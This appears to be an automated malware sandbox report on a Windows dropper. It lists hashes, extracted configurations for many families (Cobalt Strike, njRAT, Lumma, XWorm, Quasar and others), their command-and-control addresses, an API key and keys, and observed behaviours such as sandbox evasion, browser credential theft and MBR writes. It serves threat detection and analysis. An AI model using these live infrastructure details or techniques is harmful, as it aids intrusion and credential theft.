cobaltstrike | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

user interaction
yes
max time kernel
54s
max time network
241s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/08/2026, 10:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4363463463464363463463463.exe
Size 10KB
Sample260816-mghlfsvhnc
SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
MD5 2a94f3960c58c6e70826495f76d00b85
SHA1 e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA512 fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP 192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K
TLSH
T1DF22180166D0C2B2C5B303B96C279642C776EA1B3A174F7D748C825BBF6225D43A32B1
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Credentials

Protocol
ftp
Host
sanghyun.nfile.net
Port
21
Username
id

Extracted

Family

risepro

118.194.235.187:50500

Extracted

Family

cobaltstrike

Botnet

391144938

http://111.228.55.96:443/dpixel

Attributes

access_type
512
beacon_type
2048
host
111.228.55.96,/dpixel
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
polling_time
60000
port_number
443
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCJAsRp/NBAsXwqVtLdeGZdrEgUPzkJ+w4pSjFYtLvJvCi485qEyOkZ8WGB//Tgpf69YBIt9HT7x1XVwcLYRGcXyQVX1E+Ja44aGKl2/fBDaTCdP0IFSqy6n6tBoW4diynOAwnr80TOT7HTADM6urwt7PanGTvBWU7uwbUv1aemMQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/submit.php
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; NP07; NP07)
watermark
391144938

Extracted

Family

quasar

Attributes

encryption_key
E679E56ABD1A0F53D68F323812B24E67488502F6
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Extracted

Family

njrat

Version

v2.0

Botnet

Crash

late-lil.at.ply.gg:35022

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Extracted

Family

metasploit

Version

windows/reverse_tcp

172.20.155.171:4444

Extracted

Family

redosdru

http://www.tgzh.club/NetSyst96.dll

Extracted

Family

sheetrat

Version

president-rogers.gl.at.ply.gg:24830

Extracted

Family

needle_stealer

http://130.12.180.135:3000/api/v2

Attributes

api_key
alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f
base_extension
false
self_destruct
false

Extracted

Family

lumma

https://covvercilverow.shop/api
https://surroundeocw.shop/api
https://abortinoiwiam.shop/api
https://pumpkinkwquo.shop/api
https://priooozekw.shop/api
https://deallyharvenw.shop/api
https://defenddsouneuw.shop/api
https://racedsuitreow.shop/api
https://roaddrermncomplai.shop/api
https://wifeplasterbakewis.shop/api
https://mealplayerpreceodsju.shop/api
https://bordersoarmanusjuw.shop/api
https://suitcaseacanehalk.shop/api
https://absentconvicsjawun.shop/api
https://pushjellysingeywus.shop/api
https://economicscreateojsu.shop/api
https://entitlementappwo.shop/api
https://palmeventeryjusk.shop/api

Extracted

Family

xworm

Version

r-exploring.gl.at.ply.gg:14606
147.185.221.27:14606

Mutex

y5Y1VcjC36NDt8gB

Attributes

Install_directory
%AppData%
install_file
RuntimeBroker.exe
localhost
127.0.0.1

aes.plain

Signatures

Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
Family: Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat
Family: Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Family: MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Family: Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
stealer needle_stealer
Family: NightWire
NightWire is a Windows stealer written in Rust.
stealer nightwire
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: Redosdru
Redosdru is a loader/downloader written in C++.
loader downloader redosdru
Family: RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
trojan sheetrat
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Family: njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001f00000001cc95-3613.dat	family_xworm
behavioral2/memory/7452-3617-0x0000000000860000-0x0000000000870000-memory.dmp	family_xworm

Detects NeedleStealer payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000800000001cb6a-3172.dat	family_needlestealer

Detects NightWire 1 IoCs

resource	yara_rule
behavioral2/files/0x000a00000001c985-1180.dat	family_nightwire

Detects Sheetrat Obfuscated Payload 2 IoCs

Sheetrat aka NonEuclid RAT is a trojan written in C#.

resource	yara_rule
behavioral2/files/0x000700000001cc60-3135.dat	family_sheetrat_v2
behavioral2/memory/2548-3142-0x0000000000A60000-0x0000000000A94000-memory.dmp	family_sheetrat_v2

Gh0st RAT payload 6 IoCs

resource	yara_rule
behavioral2/memory/6456-2807-0x0000000010000000-0x000000001034B000-memory.dmp	family_gh0strat
behavioral2/memory/6456-2808-0x0000000010000000-0x000000001034B000-memory.dmp	family_gh0strat
behavioral2/memory/2820-2818-0x0000000010000000-0x000000001034B000-memory.dmp	family_gh0strat
behavioral2/memory/2820-2817-0x0000000010000000-0x000000001034B000-memory.dmp	family_gh0strat
behavioral2/memory/6492-2833-0x0000000010000000-0x000000001034B000-memory.dmp	family_gh0strat
behavioral2/memory/6492-2844-0x0000000010000000-0x000000001034B000-memory.dmp	family_gh0strat

Quasar payload 3 IoCs

resource	yara_rule
behavioral2/files/0x000300000001a301-2113.dat	family_quasar
behavioral2/memory/1612-2118-0x000001C9628D0000-0x000001C962A24000-memory.dmp	family_quasar
behavioral2/memory/1612-2119-0x000001C9647E0000-0x000001C9647FA000-memory.dmp	family_quasar

mimikatz is an open source tool to dump credentials on Windows 1 IoCs

resource	yara_rule
behavioral2/files/0x000900000001bb3c-2509.dat	mimikatz

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	client.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	client.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	client.exe

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/2532-2845-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6972	powershell.exe
1152	powershell.exe
3580	powershell.exe
2392	powershell.exe
2360	powershell.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
25	2168	4363463463464363463463463.exe
35	2168	4363463463464363463463463.exe
39	4572	CFXBypass.exe
144	2168	4363463463464363463463463.exe
9	2168	4363463463464363463463463.exe
43	2168	4363463463464363463463463.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	client.exe

Looks for VMWare services registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	client.exe

Signed with revoked ConnectWise certificate 1 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/memory/2060-2690-0x00000000042C0000-0x0000000004395000-memory.dmp	revoked_cert_connectwise

Uses browser remote debugging 2 TTPs 64 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
6120	chrome.exe
3164	chrome.exe
3316	chrome.exe
7100	chrome.exe
2984	chrome.exe
6772	chrome.exe
6916	chrome.exe
2532	chrome.exe
2372	chrome.exe
1352	chrome.exe
2800	chrome.exe
7472	chrome.exe
7808	chrome.exe
5664	chrome.exe
1376	chrome.exe
7048	chrome.exe
6896	chrome.exe
5772	chrome.exe
3996	chrome.exe
5184	chrome.exe
7104	chrome.exe
6508	chrome.exe
7156	chrome.exe
6656	chrome.exe
3576	chrome.exe
4860	chrome.exe
1940	chrome.exe
4672	chrome.exe
8088	chrome.exe
8084	chrome.exe
7308	chrome.exe
6000	chrome.exe
6848	chrome.exe
388	chrome.exe
1348	chrome.exe
3080	chrome.exe
1392	chrome.exe
6344	chrome.exe
6824	chrome.exe
7632	chrome.exe
4012	chrome.exe
2528	chrome.exe
4256	chrome.exe
6744	chrome.exe
1284	chrome.exe
5088	chrome.exe
5408	chrome.exe
7596	chrome.exe
6904	chrome.exe
6496	chrome.exe
6548	chrome.exe
5716	chrome.exe
1460	chrome.exe
5696	chrome.exe
5728	chrome.exe
3912	chrome.exe
1848	chrome.exe
2612	chrome.exe
4412	chrome.exe
2552	chrome.exe
976	chrome.exe
3704	chrome.exe
4628	chrome.exe
5092	chrome.exe

Executes dropped EXE 14 IoCs

pid	Process
3156	main.exe
260	CG100.exe
4508	main.exe
3048	crypted_c360a5b7.exe
2716	hailhydra.exe
5124	hailhydra.exe
4572	CFXBypass.exe
6456	client.exe
4420	cqms.exe
3016	cqms.exe
820	file_76fd7c41ddb193a5.exe
1100	background.exe
3404	QuizPokemon.exe
6820	Brontok.exe

Loads dropped DLL 46 IoCs

pid	Process
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
4508	main.exe
5124	hailhydra.exe
5124	hailhydra.exe
5124	hailhydra.exe
5124	hailhydra.exe
5124	hailhydra.exe
5124	hailhydra.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000700000001cba6-2558.dat	themida
behavioral2/memory/1720-2561-0x0000000140000000-0x00000001408C0000-memory.dmp	themida
behavioral2/memory/1720-2562-0x0000000140000000-0x00000001408C0000-memory.dmp	themida
behavioral2/memory/1720-2563-0x0000000140000000-0x00000001408C0000-memory.dmp	themida
behavioral2/memory/1720-2717-0x0000000140000000-0x00000001408C0000-memory.dmp	themida

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cqms.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
7	raw.githubusercontent.com
12	pastebin.com
34	pastebin.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
509	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	cqms.exe
File opened for modification	\??\PhysicalDrive0	cqms.exe

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6668	tasklist.exe
1352	tasklist.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3048 set thread context of 4612	3048	crypted_c360a5b7.exe	108
PID 820 set thread context of 6056	820	file_76fd7c41ddb193a5.exe	185

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/6456-2804-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral2/memory/6456-2807-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral2/memory/6456-2808-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral2/memory/2820-2814-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral2/memory/2820-2818-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral2/memory/2820-2817-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral2/memory/6492-2833-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral2/memory/6492-2844-0x0000000010000000-0x000000001034B000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000c00000001c554-8.dat	pyinstaller
behavioral2/files/0x000c00000001c5ac-172.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5836	cmd.exe
4748	cmd.exe
6564	cmd.exe
2696	cmd.exe
6912	cmd.exe
1520	cmd.exe
6212	cmd.exe
2000	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2684	2820	WerFault.exe	447

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ielowutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QuizPokemon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted_c360a5b7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cqms.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cqms.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CG100.exe

System Time Discovery 1 TTPs 19 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2176	chrome.exe
3296	chrome.exe
4552	chrome.exe
268	chrome.exe
3212	chrome.exe
5924	chrome.exe
6200	chrome.exe
2780	chrome.exe
8000	chrome.exe
252	chrome.exe
4328	chrome.exe
5772	chrome.exe
1376	chrome.exe
6956	chrome.exe
5792	chrome.exe
1284	chrome.exe
2460	chrome.exe
7900	chrome.exe
3588	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 10 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x000800000001cbea-2878.dat	innosetup
behavioral2/memory/6360-2888-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup
behavioral2/memory/6360-3130-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup
behavioral2/files/0x000d00000001cb67-3153.dat	innosetup
behavioral2/memory/6620-3161-0x00000000003B0000-0x0000000000499000-memory.dmp	innosetup
behavioral2/files/0x000800000001cc78-3237.dat	innosetup
behavioral2/memory/7476-3240-0x0000000000400000-0x00000000004D8000-memory.dmp	innosetup
behavioral2/memory/7476-3449-0x0000000000400000-0x00000000004D8000-memory.dmp	innosetup
behavioral2/files/0x000700000001cca5-3584.dat	innosetup
behavioral2/memory/8156-3598-0x0000000000400000-0x00000000004F1000-memory.dmp	innosetup

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	background.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	background.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4460	timeout.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	462	Go-http-client/1.1

Kills process with taskkill 44 IoCs

defense_evasion

pid	Process
8160	taskkill.exe
6816	taskkill.exe
1324	taskkill.exe
2376	taskkill.exe
5716	taskkill.exe
6180	taskkill.exe
6604	taskkill.exe
6420	taskkill.exe
4580	taskkill.exe
704	taskkill.exe
7504	taskkill.exe
6576	taskkill.exe
6868	taskkill.exe
6548	taskkill.exe
2852	taskkill.exe
6260	taskkill.exe
5636	taskkill.exe
412	taskkill.exe
5924	taskkill.exe
3040	taskkill.exe
6804	taskkill.exe
6844	taskkill.exe
2596	taskkill.exe
4620	taskkill.exe
1668	taskkill.exe
4904	taskkill.exe
2000	taskkill.exe
2216	taskkill.exe
6360	taskkill.exe
6992	taskkill.exe
6348	taskkill.exe
4348	taskkill.exe
1204	taskkill.exe
2004	taskkill.exe
1764	taskkill.exe
7584	taskkill.exe
1612	taskkill.exe
1648	taskkill.exe
1468	taskkill.exe
2812	taskkill.exe
936	taskkill.exe
4584	taskkill.exe
4580	taskkill.exe
7396	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\4399.com\Total = "34"	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\SearchBandMigrationVersion = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Suggested Sites\MigrationTime = 5ec1246cf00fdd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\web.4399.com	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\ImageStoreRandomFolder = "goslovo"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Recovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\4399.com	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\4399.com\NumberOfSubdomains = "1"	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\web.4399.com\ = "9"	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\4399.com\Total = "9"	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0"	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "97"	cqms.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\4399.com\Total = "0"	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "34"	cqms.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Suggested Sites\DataStreamEnabledState = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\SearchScopesUpgradeVersion = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\web.4399.com\ = "0"	cqms.exe
